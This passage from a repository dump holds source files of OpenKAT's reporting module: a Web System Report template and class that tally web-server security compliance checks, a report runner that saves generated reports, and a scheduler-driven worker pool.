self.group_finding_types_by_source(\n            self.octopoes_api_connector.query_many(\n                \"IPAddress.<address [is ResolvedHostname].hostname.<netloc [is HostnameHTTPURL]\"\n                \".<ooi [is SoftwareInstance].<ooi [is Finding]\",\n                valid_time,\n                all_ips,\n            )\n        )\n\n        result = {}\n        for input_ooi, ip_references in ips_by_input_ooi.items():\n            findings_data = {}\n            all_finding_types = []\n            aggregated_findings = []\n\n            for ip in ip_references:\n                found_finding_types = port_finding_types.get(ip, []) + software_instance_finding_types.get(ip, [])\n\n                for finding_type in found_finding_types:\n                    if finding_type.reference.class_type != KATFindingType:\n                        all_finding_types.append(finding_type)\n\n                findings = port_findings.get(ip, []) + software_instance_findings.get(ip, [])\n\n                for finding in findings:\n                    if finding.finding_type.class_type != KATFindingType:\n                        aggregated_findings.append(finding)\n\n                findings_data[ip] = {\"finding_types\": all_finding_types, \"findings\": aggregated_findings}\n\n            result[input_ooi] = findings_data\n\n        return result\n"
  },
  {
    "path": "rocky/reports/report_types/web_system_report/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/reports/report_types/web_system_report/report.html",
    "content": "{% load i18n %}\n{% load report_extra %}\n\n{% if data.web_checks|length > 0 %}\n    <p class=\"toggle-item\" data-show=\"off\">\n        {% blocktranslate trimmed %}\n            The Web System Report provides an overview of various web server checks\n            that were performed against the scanned system(s). For each performed\n            check the table below shows whether or not the server is compliant with\n            the checks. A description of why this compliant check failed is also\n            shown, including an general risk level. The risk level may be different\n            for your specific environment.\n        {% endblocktranslate %}\n    </p>\n    <div class=\"horizontal-scroll\">\n        <table>\n            <caption class=\"visually-hidden\">{% translate \"Web system compliance\" %}</caption>\n            <thead>\n                <tr>\n                    <th scope=\"col\">{% translate \"Check\" %}</th>\n                    <th scope=\"col\">{% translate \"Compliance\" %}</th>\n                </tr>\n            </thead>\n            <tbody>\n                <tr>\n                    <td>{% translate \"CSP Present\" %}</td>\n                    <td>\n                        {% if data.web_checks.checks|sum_attribute:\"has_csp\" != data.web_checks.checks|length %}\n                            <span class=\"icon incomplete\"></span>\n                        {% else %}\n                            <span class=\"icon positive\"></span>\n                        {% endif %}\n                        {{ data.web_checks.checks|sum_attribute:\"has_csp\" }}/{{ data.web_checks.checks|length }} {% translate \"webservers compliant\" %}\n                    </td>\n                </tr>\n                <tr>\n                    <td>{% translate \"Secure CSP Header\" %}</td>\n                    <td>\n                        {% if data.web_checks.checks|sum_attribute:\"has_no_csp_vulnerabilities\" != data.web_checks.checks|length %}\n                            <span class=\"icon incomplete\"></span>\n                        {% else %}\n                            <span class=\"icon positive\"></span>\n                        {% endif %}\n                        {{ data.web_checks.checks|sum_attribute:\"has_no_csp_vulnerabilities\" }}/{{ data.web_checks.checks|length }} {% translate \"webservers compliant\" %}\n                    </td>\n                </tr>\n                <tr>\n                    <td>{% translate \"Redirects HTTP to HTTPS\" %}</td>\n                    <td>\n                        {% if data.web_checks.checks|sum_attribute:\"redirects_http_https\" != data.web_checks.checks|length %}\n                            <span class=\"icon incomplete\"></span>\n                        {% else %}\n                            <span class=\"icon positive\"></span>\n                        {% endif %}\n                        {{ data.web_checks.checks|sum_attribute:\"redirects_http_https\" }}/{{ data.web_checks.checks|length }} {% translate \"webservers compliant\" %}\n                    </td>\n                </tr>\n                <tr>\n                    <td>{% translate \"Offers HTTPS\" %}</td>\n                    <td>\n                        {% if data.web_checks.checks|sum_attribute:\"offers_https\" != data.web_checks.checks|length %}\n                            <span class=\"icon incomplete\"></span>\n                        {% else %}\n                            <span class=\"icon positive\"></span>\n                        {% endif %}\n                        {{ data.web_checks.checks|sum_attribute:\"offers_https\" }}/{{ data.web_checks.checks|length }} {% translate \"webservers compliant\" %}\n                    </td>\n                </tr>\n                <tr>\n                    <td>{% translate \"Has a Security.txt\" %}</td>\n                    <td>\n                        {% if data.web_checks.checks|sum_attribute:\"has_security_txt\" != data.web_checks.checks|length %}\n                            <span class=\"icon incomplete\"></span>\n                        {% else %}\n                            <span class=\"icon positive\"></span>\n                        {% endif %}\n                        {{ data.web_checks.checks|sum_attribute:\"has_security_txt\" }}/{{ data.web_checks.checks|length }} {% translate \"webservers compliant\" %}\n                    </td>\n                </tr>\n                <tr>\n                    <td>{% translate \"No unnecessary ports open\" %}</td>\n                    <td>\n                        {% if data.web_checks.checks|sum_attribute:\"no_uncommon_ports\" != data.web_checks.checks|length %}\n                            <span class=\"icon incomplete\"></span>\n                        {% else %}\n                            <span class=\"icon positive\"></span>\n                        {% endif %}\n                        {{ data.web_checks.checks|sum_attribute:\"no_uncommon_ports\" }}/{{ data.web_checks.checks|length }} {% translate \"webservers compliant\" %}\n                    </td>\n                </tr>\n                <tr>\n                    <td>{% translate \"Has a certificate\" %}</td>\n                    <td>\n                        {% if data.web_checks.checks|sum_attribute:\"has_certificates\" != data.web_checks.checks|length %}\n                            <span class=\"icon incomplete\"></span>\n                        {% else %}\n                            <span class=\"icon positive\"></span>\n                        {% endif %}\n                        {{ data.web_checks.checks|sum_attribute:\"has_certificates\" }}/{{ data.web_checks.checks|length }} {% translate \"webservers compliant\" %}\n                    </td>\n                </tr>\n                <tr>\n                    <td>{% translate \"Certificate is valid\" %}</td>\n                    <td>\n                        {% if data.web_checks.checks|sum_attribute:\"certificates_not_expired\" != data.web_checks.checks|length %}\n                            <span class=\"icon incomplete\"></span>\n                        {% else %}\n                            <span class=\"icon positive\"></span>\n                        {% endif %}\n                        {{ data.web_checks.checks|sum_attribute:\"certificates_not_expired\" }}/{{ data.web_checks.checks|length }} {% translate \"webservers compliant\" %}\n                    </td>\n                </tr>\n                <tr>\n                    <td>{% translate \"Certificate is not expiring soon\" %}</td>\n                    <td>\n                        {% if data.web_checks.checks|sum_attribute:\"certificates_not_expiring_soon\" != data.web_checks|length %}\n                            <span class=\"icon incomplete\"></span>\n                        {% else %}\n                            <span class=\"icon positive\"></span>\n                        {% endif %}\n                        {{ data.web_checks.checks|sum_attribute:\"certificates_not_expiring_soon\" }}/{{ data.web_checks.checks|length }} {% translate \"webservers compliant\" %}\n                    </td>\n                </tr>\n            </tbody>\n        </table>\n    </div>\n    {% if data.finding_types %}\n        <h3>{% translate \"Findings\" %}</h3>\n        <div class=\"horizontal-scroll\">\n            <table>\n                <caption class=\"visually-hidden\">{% translate \"Findings\" %}</caption>\n                <thead>\n                    <tr>\n                        <th scope=\"col\">{% translate \"Compliance issue\" %}</th>\n                        <th scope=\"col\">{% translate \"Risk level\" %}</th>\n                    </tr>\n                </thead>\n                <tbody>\n                    {% for finding_type in data.finding_types %}\n                        <tr>\n                            <td>{{ finding_type.description }}</td>\n                            <td>\n                                <span class=\"{{ finding_type.risk_severity }}\">{{ finding_type.risk_severity|capfirst }}</span>\n                            </td>\n                        </tr>\n                    {% endfor %}\n                </tbody>\n            </table>\n        </div>\n    {% endif %}\n{% else %}\n    <p>{% translate \"No webservers have been found on this system.\" %}</p>\n{% endif %}\n"
  },
  {
    "path": "rocky/reports/report_types/web_system_report/report.py",
    "content": "from __future__ import annotations\n\nfrom collections.abc import Iterable\nfrom dataclasses import dataclass, field\nfrom datetime import datetime\nfrom typing import Any, cast\n\nfrom django.utils.translation import gettext_lazy as _\n\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.findings import KATFindingType, RiskLevelSeverity\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6\nfrom reports.report_types.definitions import Report\n\n\n@dataclass\nclass WebCheck:\n    has_csp: bool = False\n    has_no_csp_vulnerabilities: bool = False\n    redirects_http_https: bool = False\n    offers_https: bool = False\n    has_security_txt: bool = False\n    no_uncommon_ports: bool = False\n    has_certificates: bool = False\n    certificates_not_expired: bool = False\n    certificates_not_expiring_soon: bool = False\n\n    def __bool__(self):\n        return (\n            self.has_csp\n            and self.has_no_csp_vulnerabilities\n            and self.redirects_http_https\n            and self.offers_https\n            and self.has_security_txt\n            and self.no_uncommon_ports\n            and self.has_certificates\n            and self.certificates_not_expired\n            and self.certificates_not_expiring_soon\n        )\n\n\n@dataclass\nclass WebChecks:\n    checks: list[WebCheck] = field(default_factory=list)\n\n    @property\n    def has_csp(self):\n        return sum([check.has_csp for check in self.checks])\n\n    @property\n    def has_no_csp_vulnerabilities(self):\n        return sum([check.has_no_csp_vulnerabilities for check in self.checks])\n\n    @property\n    def redirects_http_https(self):\n        return sum([check.redirects_http_https for check in self.checks])\n\n    @property\n    def offers_https(self):\n        return sum([check.offers_https for check in self.checks])\n\n    @property\n    def has_security_txt(self):\n        return sum([check.has_security_txt for check in self.checks])\n\n    @property\n    def no_uncommon_ports(self):\n        return sum([check.no_uncommon_ports for check in self.checks])\n\n    @property\n    def has_certificates(self):\n        return sum([check.has_certificates for check in self.checks])\n\n    @property\n    def certificates_not_expired(self):\n        return sum([check.certificates_not_expired for check in self.checks])\n\n    @property\n    def certificates_not_expiring_soon(self):\n        return sum([check.certificates_not_expiring_soon for check in self.checks])\n\n    def __bool__(self) -> bool:\n        return all(bool(check) for check in self.checks)\n\n    def __len__(self) -> int:\n        return len(self.checks)\n\n    def __add__(self, other: WebChecks) -> WebChecks:\n        return WebChecks(checks=self.checks + other.checks)\n\n\nclass WebSystemReport(Report):\n    id = \"web-system-report\"\n    name = _(\"Web System Report\")\n    description = _(\"Web System Reports check web systems on basic security standards.\")\n    plugins = {\n        \"required\": {\n            \"nmap\",\n            \"dns-records\",\n            \"security_txt_downloader\",\n            \"testssl-sh-ciphers\",\n            \"ssl-version\",\n            \"ssl-certificates\",\n            \"webpage-analysis\",\n        },\n        \"optional\": set(),\n    }\n    input_ooi_types = {Hostname, IPAddressV4, IPAddressV6}\n    template_path = \"web_system_report/report.html\"\n    label_style = \"3-light\"\n\n    def collect_data(self, input_oois: Iterable[Reference], valid_time: datetime) -> dict[Reference, dict[str, Any]]:\n        hostnames_by_input_ooi = self.to_hostnames(input_oois, valid_time)\n        all_hostnames = list({h for key, hostnames in hostnames_by_input_ooi.items() for h in hostnames})\n\n        query = \"Hostname.<hostname[is Website].<website[is HTTPResource].<ooi[is Finding].finding_type\"\n        csp_finding_types = self.group_finding_types_by_source(\n            self.octopoes_api_connector.query_many(query, valid_time, all_hostnames), [\"KAT-NO-CSP\"]\n        )\n        query = (\n            \"Hostname.<hostname[is Website].<website[is HTTPResource].<resource[is HTTPHeader]\"\n            \".<ooi[is Finding].finding_type\"\n        )\n        csp_vulnerabilities_finding_types = self.group_finding_types_by_source(\n            self.octopoes_api_connector.query_many(query, valid_time, all_hostnames), [\"KAT-CSP-VULNERABILITIES\"]\n        )\n        query = \"Hostname.<netloc[is HostnameHTTPURL].<ooi[is Finding].finding_type\"\n        url_finding_types = self.group_finding_types_by_source(\n            self.octopoes_api_connector.query_many(query, valid_time, all_hostnames), [\"KAT-NO-HTTPS-REDIRECT\"]\n        )\n        query = \"Hostname.<hostname[is Website].<ooi[is Finding].finding_type\"\n        no_certificate_finding_types = self.group_finding_types_by_source(\n            self.octopoes_api_connector.query_many(query, valid_time, all_hostnames), [\"KAT-NO-CERTIFICATE\"]\n        )\n        query = \"Hostname.<hostname[is Website].<website[is SecurityTXT]\"\n        has_security_txt_finding_types = self.group_finding_types_by_source(\n            self.octopoes_api_connector.query_many(query, valid_time, all_hostnames)\n        )\n        query = \"Hostname.<hostname[is ResolvedHostname].address.<address[is IPPort].<ooi[is Finding].finding_type\"\n        port_finding_types = self.group_finding_types_by_source(\n            self.octopoes_api_connector.query_many(query, valid_time, all_hostnames),\n            [\"KAT-UNCOMMON-OPEN-PORT\", \"KAT-OPEN-SYSADMIN-PORT\", \"KAT-OPEN-DATABASE-PORT\"],\n        )\n        query = \"Hostname.<hostname[is Website].certificate.<ooi[is Finding].finding_type\"\n        certificate_finding_types = self.group_finding_types_by_source(\n            self.octopoes_api_connector.query_many(query, valid_time, all_hostnames),\n            [\"KAT-CERTIFICATE-EXPIRED\", \"KAT-CERTIFICATE-EXPIRING-SOON\"],\n        )\n\n        result = {ooi: {\"input_ooi\": ooi, \"web_checks\": WebChecks(), \"finding_types\": []} for ooi in input_oois}\n\n        for input_ooi, hostname_references in hostnames_by_input_ooi.items():\n            finding_types = {}\n            checks = WebChecks()\n\n            for hostname in hostname_references:\n                check = WebCheck()\n                check.has_csp = not any(csp_finding_types.get(hostname, []))\n                check.has_no_csp_vulnerabilities = check.has_csp and not any(\n                    csp_vulnerabilities_finding_types.get(hostname, [])\n                )\n                check.redirects_http_https = not any(url_finding_types.get(hostname, []))\n                check.offers_https = not any(no_certificate_finding_types.get(hostname, []))\n                check.has_security_txt = bool(has_security_txt_finding_types.get(hostname, []))\n                security_txt_finding_types = [\n                    KATFindingType(\n                        id=\"KAT-NO-SECURITY-TXT\",\n                        description=\"This hostname does not have a Security.txt file.\",\n                        risk_severity=RiskLevelSeverity.RECOMMENDATION,\n                        recommendation=\"Make sure there is a security.txt available.\",\n                    )\n                ]\n\n                check.no_uncommon_ports = not any(port_finding_types.get(hostname, []))\n                check.has_certificates = check.offers_https\n                check.certificates_not_expired = check.has_certificates and \"KAT-CERTIFICATE-EXPIRED\" not in [\n                    x.id for x in certificate_finding_types.get(hostname, [])\n                ]\n                check.certificates_not_expiring_soon = (\n                    check.has_certificates\n                    and \"KAT-CERTIFICATE-EXPIRING-SOON\"\n                    not in [x.id for x in certificate_finding_types.get(hostname, [])]\n                )\n\n                checks.checks.append(check)\n                new_types = (\n                    csp_finding_types.get(hostname, [])\n                    + csp_vulnerabilities_finding_types.get(hostname, [])\n                    + url_finding_types.get(hostname, [])\n                    + no_certificate_finding_types.get(hostname, [])\n                    + port_finding_types.get(hostname, [])\n                    + certificate_finding_types.get(hostname, [])\n                    + security_txt_finding_types\n                )\n\n                for finding_type in new_types:\n                    if finding_type.risk_severity not in [None, RiskLevelSeverity.PENDING] and finding_type.description:\n                        finding_types[finding_type.id] = finding_type\n\n            result[input_ooi] = {\n                \"input_ooi\": input_ooi,\n                \"web_checks\": checks,\n                # We need cast here because mypy doesn't understand that we only add finding_types\n                # when risk level severity isn't None\n                \"finding_types\": sorted(\n                    finding_types.values(), reverse=True, key=lambda x: cast(RiskLevelSeverity, x.risk_severity)\n                ),\n            }\n\n        return result\n"
  },
  {
    "path": "rocky/reports/runner/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/reports/runner/models.py",
    "content": "from octopoes.models.ooi.reports import ReportRecipe\n\n\nclass ReportRunner:\n    def run(self, recipe: ReportRecipe) -> None:\n        raise NotImplementedError()\n\n\nclass WorkerManager:\n    def run(self) -> None:\n        raise NotImplementedError()\n\n\nclass JobRuntimeError(RuntimeError):\n    \"\"\"Base exception class for exceptions raised during running of jobs\"\"\"\n"
  },
  {
    "path": "rocky/reports/runner/report_runner.py",
    "content": "from datetime import datetime, timezone\nfrom string import Template\nfrom typing import Any\n\nimport structlog\nfrom django.conf import settings\nfrom pydantic import ConfigDict, RootModel\nfrom tools.models import Organization\nfrom tools.ooi_helpers import create_ooi\n\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.models import Reference, ScanLevel, ScanProfileType\nfrom octopoes.models.exception import ObjectNotFoundException, TypeNotFound\nfrom octopoes.models.ooi.reports import AssetReport, Report, ReportRecipe\nfrom octopoes.models.types import type_by_name\nfrom reports.report_types.aggregate_organisation_report.report import AggregateOrganisationReport\nfrom reports.report_types.definitions import ReportPlugins, report_plugins_union\nfrom reports.report_types.helpers import get_report_by_id\nfrom reports.report_types.multi_organization_report.report import MultiOrganizationReport, collect_report_data\nfrom reports.runner.models import ReportRunner\nfrom rocky.bytes_client import BytesClient\nfrom rocky.scheduler import ReportTask\n\nlogger = structlog.get_logger(__name__)\n\n\nclass LocalReportRunner(ReportRunner):\n    def __init__(self, bytes_client: BytesClient, valid_time: datetime | None = None):\n        self.bytes_client = bytes_client\n        self.valid_time = valid_time\n\n    def run(self, report_task: ReportTask) -> None:\n        organization = Organization.objects.get(code=report_task.organisation_id)\n        # TODO: https://github.com/minvws/nl-kat-coordination/issues/4014\n        valid_time = self.valid_time or datetime.now(timezone.utc)\n        connector = OctopoesAPIConnector(\n            settings.OCTOPOES_API, report_task.organisation_id, timeout=settings.ROCKY_OUTGOING_REQUEST_TIMEOUT\n        )\n        recipe = connector.get(Reference.from_str(f\"ReportRecipe|{report_task.report_recipe_id}\"), valid_time)\n\n        if input_oois := recipe.input_recipe.get(\"input_oois\"):\n            ooi_pks = list({Reference.from_str(ooi) for ooi in input_oois})\n        elif query := recipe.input_recipe.get(\"query\"):\n            oois = connector.list_objects(\n                types={type_by_name(ooi_type) for ooi_type in query[\"ooi_types\"]},\n                valid_time=datetime.now(tz=timezone.utc),\n                scan_level={ScanLevel(level) for level in query[\"scan_level\"]},\n                scan_profile_type={ScanProfileType(scan_type) for scan_type in query[\"scan_type\"]},\n                search_string=query[\"search_string\"],\n                order_by=query[\"order_by\"],\n                asc_desc=query[\"asc_desc\"],\n            ).items\n\n            ooi_pks = list({ooi.reference for ooi in oois})\n        else:\n            raise ValueError(\"Invalid recipe: no input_oois or query found\")\n\n        additional_input_data: dict[str, Any] = {}\n\n        if recipe.report_type == AggregateOrganisationReport.id:\n            _, additional_input_data, report_data, report_errors = aggregate_reports(\n                connector, ooi_pks, recipe.asset_report_types, valid_time, report_task.organisation_id\n            )\n        elif recipe.report_type == MultiOrganizationReport.id:\n            report_data_multi = collect_report_data(connector, [str(x) for x in ooi_pks], valid_time)\n            report_data = {MultiOrganizationReport.id: report_data_multi}\n            additional_input_data = MultiOrganizationReport(connector).post_process_data(report_data_multi)\n        else:\n            report_types = [get_report_by_id(report_type_id) for report_type_id in recipe.asset_report_types]\n            error_reports, report_data = collect_reports(valid_time, connector, ooi_pks, report_types)\n\n        self.bytes_client.organization = organization.code\n        save_report_data(\n            self.bytes_client, valid_time, connector, organization, ooi_pks, report_data, recipe, additional_input_data\n        )\n        self.bytes_client.organization = None\n\n\ndef collect_reports(\n    valid_time: datetime, octopoes_connector: OctopoesAPIConnector, input_oois: list[Reference], report_types\n):\n    error_reports = []\n    report_data: dict[str, dict[str, dict[str, Any]]] = {}\n    by_type: dict[str, list[str]] = {}\n\n    for ooi in input_oois:\n        ooi_type = ooi.class_\n\n        if ooi_type not in by_type:\n            by_type[ooi_type] = []\n\n        by_type[ooi_type].append(ooi)\n\n    for report_class in report_types:\n        oois = {ooi for ooi_type in report_class.input_ooi_types for ooi in by_type.get(ooi_type.get_object_type(), [])}\n\n        try:\n            results = report_class(octopoes_connector).collect_data(oois, valid_time)\n        except ObjectNotFoundException:\n            error_reports.append(report_class.id)\n            continue\n        except TypeNotFound:\n            error_reports.append(report_class.id)\n            continue\n\n        for ooi, data in results.items():\n            if report_class.id not in report_data:\n                report_data[report_class.id] = {}\n\n            report_data[report_class.id][ooi] = {\n                \"data\": data,\n                \"template\": report_class.template_path,\n                \"report_name\": report_class.name,\n            }\n\n    return error_reports, report_data\n\n\ndef save_report_data(\n    bytes_client: BytesClient,\n    observed_at: datetime,\n    octopoes_api_connector: OctopoesAPIConnector,\n    organization: Organization,\n    oois: list[Reference],\n    report_data: dict,\n    recipe: ReportRecipe,\n    additional_input_data: dict | None = None,\n) -> Report | None:\n    if additional_input_data is None:\n        additional_input_data = {}\n\n    plugins = report_plugins_union([get_report_by_id(type_id) for type_id in recipe.asset_report_types])\n\n    input_oois: list[str | Reference]\n\n    if settings.ASSET_REPORTS:\n        asset_reports = create_asset_reports(\n            bytes_client, plugins, observed_at, observed_at, octopoes_api_connector, organization, recipe, report_data\n        )\n        input_oois = [asset_report.reference for asset_report in asset_reports]\n    else:\n        input_ooi_set: set[str] = set()\n        for ooi_data in report_data.values():\n            input_ooi_set.update(ooi for ooi in ooi_data)\n        input_oois = sorted(input_ooi_set)\n\n    input_data = {\n        \"input_data\": {\"input_oois\": input_oois, \"report_types\": recipe.asset_report_types, \"plugins\": plugins}\n    }\n\n    raw_id = bytes_client.upload_raw(\n        raw=ReportDataDict(input_data | additional_input_data).model_dump_json().encode(),\n        manual_mime_types={\"openkat/report\"},\n    )\n\n    report_type_name = str(\n        get_report_by_id(\n            recipe.report_type if len(recipe.asset_report_types) > 1 else recipe.asset_report_types[0]\n        ).name\n    )\n    report_name = observed_at.strftime(\n        Template(recipe.report_name_format).safe_substitute(oois_count=str(len(oois)), report_type=report_type_name)\n    )\n\n    if len(oois) == 1:\n        report_name = Template(report_name).safe_substitute(ooi=oois[0].human_readable)\n\n    report_ooi = Report(\n        name=report_name,\n        report_type=recipe.report_type,\n        template=get_report_by_id(recipe.report_type).template_path,\n        organization_code=organization.code,\n        organization_name=organization.name,\n        organization_tags=[tag.name for tag in organization.tags.all()],\n        data_raw_id=raw_id,\n        date_generated=observed_at,\n        reference_date=observed_at,\n        input_oois=input_oois,\n        observed_at=observed_at,\n        report_recipe=recipe.reference,\n    )\n\n    create_ooi(octopoes_api_connector, bytes_client, report_ooi, observed_at)\n    logger.info(\"Report created [report_type=%s]\", recipe.report_type, event_code=800071, report=report_ooi)\n    return report_ooi\n\n\ndef create_asset_reports(\n    bytes_client: BytesClient,\n    plugins: ReportPlugins,\n    now: datetime,\n    observed_at: datetime,\n    octopoes_api_connector: OctopoesAPIConnector,\n    organization: Organization,\n    recipe: ReportRecipe,\n    report_data: dict,\n) -> list[AssetReport]:\n    asset_reports = []\n\n    for report_type_id, ooi_data in report_data.items():\n        report_type = get_report_by_id(report_type_id)\n\n        for reference, data in ooi_data.items():\n            asset_report_input = {\n                \"input_data\": {\n                    \"input_oois\": [reference],\n                    \"report_types\": [report_type.id],\n                    \"plugins\": {\n                        \"required\": {p for p in plugins[\"required\"] if p in report_type.plugins[\"required\"]},\n                        \"optional\": {p for p in plugins[\"optional\"] if p in report_type.plugins[\"optional\"]},\n                    },\n                }\n            }\n            asset_raw_id = bytes_client.upload_raw(\n                raw=ReportDataDict({\"report_data\": data[\"data\"]} | asset_report_input).model_dump_json().encode(),\n                manual_mime_types={\"openkat/report\"},\n            )\n\n            input_ooi = reference if not hasattr(reference, \"human_readable\") else reference.human_readable\n\n            asset_report = AssetReport(\n                name=f\"{report_type.name} for {input_ooi}\",\n                report_type=report_type_id,\n                report_recipe=recipe.reference,\n                template=report_type.template_path,\n                organization_code=organization.code,\n                organization_name=organization.name,\n                organization_tags=[tag.name for tag in organization.tags.all()],\n                data_raw_id=asset_raw_id,\n                date_generated=now,\n                reference_date=observed_at,\n                input_ooi=reference,\n                observed_at=observed_at,\n            )\n            create_ooi(octopoes_api_connector, bytes_client, asset_report, observed_at)\n            asset_reports.append(asset_report)\n\n    return asset_reports\n\n\nclass ReportDataDict(RootModel):\n    model_config = ConfigDict(arbitrary_types_allowed=True)\n    root: Any\n\n\ndef aggregate_reports(\n    connector: OctopoesAPIConnector,\n    input_oois: list[Reference],\n    selected_report_types: list[str],\n    valid_time: datetime,\n    organization_code: str,\n) -> tuple[AggregateOrganisationReport, dict[str, Any], dict[str, Any], list[str]]:\n    all_types = [\n        t\n        for t in AggregateOrganisationReport.reports[\"required\"] + AggregateOrganisationReport.reports[\"optional\"]\n        if t.id in selected_report_types\n    ]\n\n    errors, report_data = collect_reports(valid_time, connector, input_oois, all_types)\n    aggregate_report = AggregateOrganisationReport(connector)\n    post_processed_data = aggregate_report.post_process_data(report_data, valid_time, organization_code)\n\n    return aggregate_report, post_processed_data, report_data, errors\n"
  },
  {
    "path": "rocky/reports/runner/worker.py",
    "content": "import gc\nimport multiprocessing as mp\nimport os\nimport signal\nimport sys\nimport time\nfrom datetime import datetime\nfrom queue import Queue\n\nimport structlog\nfrom django.conf import settings\nfrom django.db import close_old_connections\nfrom httpx import HTTPError\n\nfrom reports.runner.models import ReportRunner, WorkerManager\nfrom reports.runner.report_runner import LocalReportRunner\nfrom rocky.bytes_client import get_bytes_client\nfrom rocky.scheduler import SchedulerClient, Task, TaskStatus, scheduler_client\n\nlogger = structlog.get_logger(__name__)\n\n\nclass SchedulerWorkerManager(WorkerManager):\n    def __init__(\n        self,\n        runner: ReportRunner,\n        scheduler: SchedulerClient,\n        pool_size: int,\n        poll_interval: int,\n        worker_heartbeat: int,\n    ):\n        self.runner = runner\n        self.scheduler = scheduler\n        self.pool_size = pool_size\n        self.poll_interval = poll_interval\n        self.worker_heartbeat = worker_heartbeat\n\n        manager = mp.Manager()\n\n        self.task_queue = manager.Queue()  # multiprocessing.Queue() will not work on macOS, see mp.Queue.qsize()\n        self.handling_tasks = manager.dict()\n        self.workers: list[mp.Process] = []\n\n        self.exited = False\n\n    def run(self) -> None:\n        logger.info(\"Created worker pool for queue 'report'\")\n\n        self.workers = [mp.Process(target=_start_working, args=self._worker_args()) for _ in range(self.pool_size)]\n        for worker in self.workers:\n            worker.start()\n\n        signal.signal(signal.SIGINT, lambda signum, _: self.exit(signum))\n        signal.signal(signal.SIGTERM, lambda signum, _: self.exit(signum))\n\n        while True:\n            try:\n                self._check_workers()\n                self._fill_queue(self.task_queue)\n            except Exception as e:  # noqa\n                logger.exception(\"Unhandled Exception:\")\n                logger.info(\"Continuing worker...\")\n                continue\n            except:  # noqa\n                # Calling sys.exit() in self.exit() will raise SystemExit. We\n                # should only log the exception and call self.exit() when the\n                # exception is caused by something else and self.exit() hasn't\n                # been called yet.\n                if not self.exited:\n                    logger.exception(\"Exiting worker...\")\n                    self.exit()\n\n                raise\n\n    def _fill_queue(self, task_queue: Queue):\n        if task_queue.qsize() > self.pool_size:\n            time.sleep(self.worker_heartbeat)\n            return\n\n        try:\n            p_item = self.scheduler.pop_item(\"report\")\n        except HTTPError:\n            logger.exception(\"Popping task from scheduler failed\")\n            time.sleep(self.poll_interval)\n            return\n\n        if not p_item:\n            logger.debug(\"Queue empty, sleeping %f seconds\", self.poll_interval)\n            time.sleep(self.poll_interval)\n            return\n\n        logger.info(\"Handling task[%s]\", p_item.id)\n\n        try:\n            task_queue.put(p_item)\n            logger.info(\"Dispatched task[%s]\", p_item.id)\n        except:  # noqa\n            logger.error(\"Exiting worker...\")\n            logger.info(\"Patching scheduler task[id=%s] to %s\", p_item.id, TaskStatus.FAILED.value)\n\n            try:\n                self.scheduler.patch_task(p_item.id, TaskStatus.FAILED)\n                logger.info(\"Set task status to %s in the scheduler for task[id=%s]\", TaskStatus.FAILED, p_item.id)\n            except HTTPError:\n                logger.error(\"Could not patch scheduler task to %s\", TaskStatus.FAILED.value)\n\n            raise\n\n    def _check_workers(self) -> None:\n        new_workers = []\n\n        for worker in self.workers:\n            closed = False\n\n            try:\n                if worker.is_alive():\n                    new_workers.append(worker)\n                    continue\n            except ValueError:\n                closed = True  # worker is closed, so we create a new one\n\n            try:\n                pid = worker.pid\n            except ValueError:\n                pid = None\n\n            try:\n                exitcode_str = _format_exit_code(worker.exitcode)\n            except ValueError:\n                exitcode_str = \"exitcode=Unknown\"\n\n            logger.warning(\"Worker[pid=%s, %s] not alive, creating new worker...\", pid or \"unknown\", exitcode_str)\n\n            if not closed:  # Closed workers do not have a pid, so cleaning up would fail\n                self._cleanup_pending_worker_task(worker)\n                worker.close()\n\n            new_worker = mp.Process(target=_start_working, args=self._worker_args())\n            new_worker.start()\n            new_workers.append(new_worker)\n\n        self.workers = new_workers\n\n    def _cleanup_pending_worker_task(self, worker: mp.Process) -> None:\n        if worker.pid not in self.handling_tasks:\n            logger.debug(\"No pending task found for Worker[pid=%s, %s]\", worker.pid, _format_exit_code(worker.exitcode))\n            return\n\n        handling_task_id = self.handling_tasks[worker.pid]\n\n        try:\n            task = self.scheduler.get_task_details(handling_task_id)\n\n            if task.status is TaskStatus.DISPATCHED or task.status is TaskStatus.RUNNING:\n                try:\n                    self.scheduler.patch_task(task.id, TaskStatus.FAILED)\n                    logger.warning(\"Set status to failed in the scheduler for task[id=%s]\", handling_task_id)\n                except HTTPError:\n                    logger.exception(\"Could not patch scheduler task to failed\")\n        except HTTPError:\n            logger.exception(\"Could not get scheduler task[id=%s]\", handling_task_id)\n\n    def _worker_args(self) -> tuple:\n        return self.task_queue, self.runner, self.scheduler, self.handling_tasks\n\n    def exit(self, signum: int | None = None):\n        try:\n            if signum:\n                logger.info(\"Received %s, exiting\", signal.Signals(signum).name)\n\n            if not self.task_queue.empty():\n                tasks: list[Task] = [self.task_queue.get() for _ in range(self.task_queue.qsize())]\n\n                for task in tasks:\n                    try:\n                        self.scheduler.push_task(task)\n                    except HTTPError:\n                        logger.exception(\"Rescheduling task failed[id=%s]\", task.id)\n\n            killed_workers = []\n\n            for worker in self.workers:  # Send all signals before joining, speeding up shutdowns\n                try:\n                    if worker.is_alive():\n                        worker.kill()\n                        killed_workers.append(worker)\n                except ValueError:\n                    pass  # worker is already closed\n\n            for worker in killed_workers:\n                worker.join()\n                self._cleanup_pending_worker_task(worker)\n                worker.close()\n        finally:\n            self.exited = True\n            # If we are called from the main run loop we are already in the\n            # process of exiting, so we only need to call sys.exit() in the\n            # signal handler.\n            if signum:\n                sys.exit()\n\n\ndef _format_exit_code(exitcode: int | None) -> str:\n    if exitcode is None or exitcode >= 0:\n        return f\"exitcode={exitcode}\"\n\n    return f\"signal={signal.Signals(-exitcode).name}\"\n\n\ndef _start_working(\n    task_queue: mp.Queue, runner: ReportRunner, scheduler: SchedulerClient, handling_tasks: dict[int, str]\n):\n    logger.info(\"Started listening for tasks from worker\", pid=os.getpid())\n\n    while True:\n        p_item = task_queue.get()\n        close_old_connections()  # See https://github.com/minvws/nl-kat-coordination/issues/4632\n        status = TaskStatus.FAILED\n        handling_tasks[os.getpid()] = str(p_item.id)\n\n        try:\n            scheduler.patch_task(p_item.id, TaskStatus.RUNNING)\n            start_time = datetime.now()\n            runner.run(p_item.data)\n            status = TaskStatus.COMPLETED\n        except Exception:  # noqa\n            logger.exception(\"An error occurred handling scheduler item\", task=str(p_item.id))\n        